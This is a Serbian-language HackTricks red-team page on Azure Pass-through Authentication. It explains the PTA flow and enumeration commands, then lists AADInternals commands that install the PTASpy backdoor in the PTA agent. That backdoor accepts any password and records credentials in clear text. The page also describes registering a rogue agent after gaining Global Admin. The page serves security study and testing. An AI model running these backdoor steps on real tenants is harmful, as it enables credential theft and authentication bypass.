Az - PTA - Pass-through Authentication

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Iz dokumenata: Microsoft Entra pass-through authentication omogućava vašim korisnicima da prijave se na aplikacije koje se nalaze na lokaciji i u oblaku koristeći iste lozinke. Ova funkcija pruža vašim korisnicima bolje iskustvo - jedna lozinka manje za pamćenje, i smanjuje troškove IT podrške jer je manje verovatno da će korisnici zaboraviti kako da se prijave. Kada se korisnici prijave koristeći Microsoft Entra ID, ova funkcija direktno validira lozinke korisnika protiv vašeg lokalnog Active Directory-a.

U PTA identiteti su sinhronizovani ali lozinke nisu kao u PHS-u.

Autentifikacija se validira u lokalnom AD-u, a komunikacija sa oblakom se vrši putem autentifikacionog agenta koji radi na lokalnom serveru (ne mora biti na lokalnom DC-u).

Tok autentifikacije

  1. Da bi se prijavio, korisnik se preusmerava na Azure AD, gde šalje korisničko ime i lozinku
  2. Akreditivi se šifruju i postavljaju u red u Azure AD
  3. Lokalni autentifikacioni agent prikuplja akreditive iz reda i dešifruje ih. Ovaj agent se naziva "Pass-through authentication agent" ili PTA agent.
  4. Agent validira akreditive protiv lokalnog AD-a i šalje odgovor nazad Azure AD-u koji, ako je odgovor pozitivan, kompletira prijavu korisnika.

warning

Ako napadač kompromituje PTA, može videti sve akreditive iz reda (u čistom tekstu).
Takođe može validirati bilo koje akreditive za AzureAD (sličan napad kao na Skeleton key).

Enumeracija

Iz Entra ID:

bash
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}

Proverite da li agent radi na on-prem serveru:

bash
Get-Service -Name "AzureADConnectAuthenticationAgent"

Pivoting

Ako imate admin pristup Azure AD Connect serveru na kojem radi PTA agent, možete koristiti AADInternals modul da ubacite backdoor koji će validirati SVE lozinke unesene (tako da će sve lozinke biti važeće za autentifikaciju):

bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor

note

Ako instalacija ne uspe, to je verovatno zbog nedostatka Microsoft Visual C++ 2015 Redistributables.

Ova backdoor će:

  • Kreirati skriveni folder C:\PTASpy
  • Kopirati PTASpy.dll u C:\PTASpy
  • Injektovati PTASpy.dll u proces AzureADConnectAuthenticationAgentService

note

Kada se AzureADConnectAuthenticationAgent servis ponovo pokrene, PTASpy se “izbacuje” i mora se ponovo instalirati.

caution

Nakon dobijanja GA privilegija na cloudu, moguće je registrovati novi PTA agent i može se ponoviti prethodne korake za autentifikaciju koristeći bilo koju lozinku i takođe, dobiti lozinke u čistom tekstu.

Seamless SSO

Moguće je koristiti Seamless SSO sa PTA, koji je podložan drugim zloupotrebama. Proverite to u:

Az - Seamless SSO

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks